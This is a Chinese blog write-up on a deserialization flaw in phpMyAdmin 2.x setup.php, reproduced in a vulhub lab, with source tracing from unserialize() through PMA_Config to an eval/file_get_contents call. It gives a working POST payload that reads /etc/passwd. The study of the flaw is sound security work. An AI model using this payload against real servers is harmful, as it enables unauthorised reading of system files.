phpmyadmin反序列化


0x01 漏洞说明

phpmyadmin 2.x版本的setup.php中存在一处反序列化漏洞,通过该漏洞,攻击者可以读取任意文件或执行任意代码。


0x02 漏洞复现

通过vulhub快速在docker中复现漏洞


0x03 漏洞利用

使用POST的方式请求setup.php,即可读取passwd文件

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}


0x04 源码分析

网上找了许多教程都只说了漏洞如何利用,却没有分析成因,无奈只好自己粗略地分析下


首先分析setup.php,发现它会将POST请求的参数configuration进行反序列化

if (isset($_POST['configuration']) && $action != 'clear' ) {
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    // Start with empty configuration
    $configuration = array();
}

而payload中configuration的值是序列化后的PMA_Config

configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

所以我们应该从源码中找到PMA_Config类的定义,但是setup文件中并没有找到,所以一定包含了其他的php文件

果然,在开头处有行文件包含的代码

require_once('./libraries/common.lib.php');

顺藤摸瓜找到这个文件common.lib.php,结果依旧没有在找到PMA_Config类的定义

但我通过搜索class,发现了小惊喜,common.lib.php中还包含了其他的php文件,真是一层又一层

require_once './libraries/sanitizing.lib.php';
require_once './libraries/Theme.class.php';
require_once './libraries/Theme_Manager.class.php';
require_once './libraries/Config.class.php';

终于,我在Config.class.php中找到了PMA_Config类的定义


一般会出现php的反序列化,准是类中的魔术函数出现了问题

所以重点审查对象就是这几个函数

__construct()当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep()    在对象在被序列化之前运行
__wakeup()   将在序列化之后立即被调用

通过审计代码发现问题果然出现在__construct

function __construct($source = null)
    {
        $this->settings = array();

    // functions need to refresh in case of config file changed goes in
    // PMA_Config::load()
    $this->load($source);

    // other settings, independant from config file, comes in
    $this->checkSystem();

    $this->checkIsHttps();
}

当一个类被创建,函数__construct马上就会被调用,函数中的$this->load($source)也会马上被执行


那我们再来看看函数load()

function load($source = null)
    {
        $this->loadDefaults();

    if ( null !== $source ) {
        $this->setSource($source);
    }

    if ( ! $this->checkConfigSource() ) {
        return false;
    }

    $cfg = array();

    $old_error_reporting = error_reporting(0);
    if ( function_exists('file_get_contents') ) {
        $eval_result =
        eval( '?>' . file_get_contents($this->getSource()) );   //重点在这
    } else {
        $eval_result =
    eval( '?>' . implode('\n', file($this->getSource())) );
    }
    error_reporting($old_error_reporting);

    if ( $eval_result === false ) {
        $this->error_config_file = true;
    } else  {
        $this->error_config_file = false;
        $this->source_mtime = filemtime($this->getSource());
    }



    @TODO check validity of $_COOKIE['pma_collation_connection']
    /
        if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
    $this->set('collation_connection',
        strip_tags($_COOKIE['pma_collation_connection']) );
        } else {
    $this->set('collation_connection',
        $this->get('DefaultConnectionCollation') );
        }

        $this->checkCollationConnection();
        //$this->checkPmaAbsoluteUri();
        $this->settings = PMA_array_merge_recursive($this->settings, $cfg);
        return true;
}

我们发现load()函数中,它调用了这一句eval( '?>' . file_get_contents($this->getSource()) );

函数getSource()就是返回类的source的值

file_get_contents函数的作用就是将指定的文件转换成字符串

所以将source复制为某个文件的路径就能够实现任意文件读取了,比如/etc/passwd


但是最后有个疑惑eval( '?>' . "string");这种形式确实能够输出字符串,我却不明白他的原理


文章作者: wkai
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wkai !
 上一篇
(五)SQL注入—报错注入(updatexml函数) (五)SQL注入—报错注入(updatexml函数)
 updatexml()函数主要用于修改查询到的内容,它总共需要三个参数,其中第二个参数必须要符合XPATH语法,否则将会返回参数错误,所以如果网页开启了错误回显,就可以使用这个函数来进行sql报错注入  正好知识盒子中
2020-08-26
下一篇 
(四)SQL注入—布尔注入 (四)SQL注入—布尔注入
有时候页面一个显示位都不给,这样就无法通过联合注入查询信息了,只能通过页面返回信息的真假条件判断是否存在注入,就像这样 本篇用的靶场是sql-labs的第六关布尔注入 先看看数据库的结构 表emails的数据 遇到页面无
2020-08-19
  目录